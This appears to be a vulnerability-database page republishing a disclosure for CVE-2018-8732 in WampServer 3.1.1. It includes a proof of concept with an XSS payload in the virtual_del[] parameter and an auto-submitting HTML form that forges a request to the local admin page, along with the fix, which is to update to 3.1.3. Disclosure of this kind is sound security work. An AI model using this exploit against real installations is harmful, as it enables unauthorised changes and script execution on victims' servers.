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WampServer 3.1.1 Cross Site Request Forgery / Cross Site Scripting
🗓️ 31 Mar 2018 00:00:00Reported by Vipin ChaudharyType 
packetstorm🔗 packetstormsecurity.com👁 34 Views
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | WampServer 3.1.1 - Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities | 2 Apr 201800:00 | – | zdt |
 | CVE-2018-8732 | 19 Mar 201820:29 | – | attackerkb |
 | CVE-2018-8732 | 2 Apr 201800:00 | – | circl |
 | WampServer Cross-Site Scripting Vulnerability | 20 Mar 201800:00 | – | cnvd |
 | CVE-2018-8732 | 19 Mar 201820:00 | – | cve |
 | CVE-2018-8732 | 19 Mar 201820:00 | – | cvelist |
 | WampServer 3.1.1 - Cross-Site Scripting / Cross-Site Request Forgery | 2 Apr 201800:00 | – | exploitdb |
 | EUVD-2018-20342 | 7 Oct 202500:30 | – | euvd |
 | WampServer 3.1.1 - Cross-Site Scripting Cross-Site Request Forgery | 2 Apr 201800:00 | – | exploitpack |
 | CVE-2018-8732 | 19 Mar 201820:29 | – | nvd |
10
`# Exploit Title: WampServer 3.1.1 XSS via CSRF
# Date: 31-03-2018
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.1
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8732
1. Description
XSS: cross site scripting via CSRF is remotely exploitable.
http://forum.wampserver.com/read.php?2,138295,150615,page=6#msg-150615
http://forum.wampserver.com/read.php?2,150617
2. Proof of Concept
How to exploit this XSS vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Go to Supress Virtual host and select one to delete and then intercept
the request using burp suite or any other proxy tool
3. Change the value of parameter *virtual_del[] *to "><img src=x
onerror=alert(1)> and forward it then you will see the XSS triggered.
How to see it:
1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
<body onload="wamp_csrf.submit();">
<form action="[localhost]; name="wamp_csrf" method="POST">
<input type="hidden" name="virtual_del[]"
value=""><img src=x onerror=alert(1)>"
/>
<input type="hidden" name="vhostdelete"
value="Suppress VirtualHost" />
</form>
</body>
</html>
Warning: action="[localhost] is action='
http://localhost/add_vhost.php?lang=english' replacing simple quotes(') by
double quote("[image: winking smiley]
3. Solution:
Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapper
`
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31 Mar 2018 00:00Current
5.9Medium risk
Vulners AI Score5.9
EPSS0.01748